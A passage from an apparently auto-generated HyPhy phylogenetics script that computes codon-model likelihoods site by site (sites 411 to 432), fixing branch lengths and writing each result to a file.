ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"411\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 412...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1233,1234,1235\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 412\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"412\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 413...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1236,1237,1238\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 413\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"413\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 414...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1239,1240,1241\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 414\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"414\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 415...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1242,1243,1244\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 415\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"415\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 416...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1245,1246,1247\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 416\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"416\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 417...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1248,1249,1250\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 417\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"417\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 418...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1251,1252,1253\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 418\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"418\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 419...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1254,1255,1256\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 419\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"419\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 420...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1257,1258,1259\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 420\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"420\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 421...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1260,1261,1262\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 421\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"421\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 422...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1263,1264,1265\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 422\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"422\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 423...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1266,1267,1268\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 423\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"423\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 424...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1269,1270,1271\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 424\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"424\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 425...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1272,1273,1274\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 425\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"425\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 426...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1275,1276,1277\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 426\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"426\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 427...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1278,1279,1280\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 427\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"427\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 428...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1281,1282,1283\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 428\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"428\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 429...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1284,1285,1286\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 429\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"429\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 430...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1287,1288,1289\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 430\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"430\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 431...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1290,1291,1292\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 431\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"431\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 432...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1293,1294,1295\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 432\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  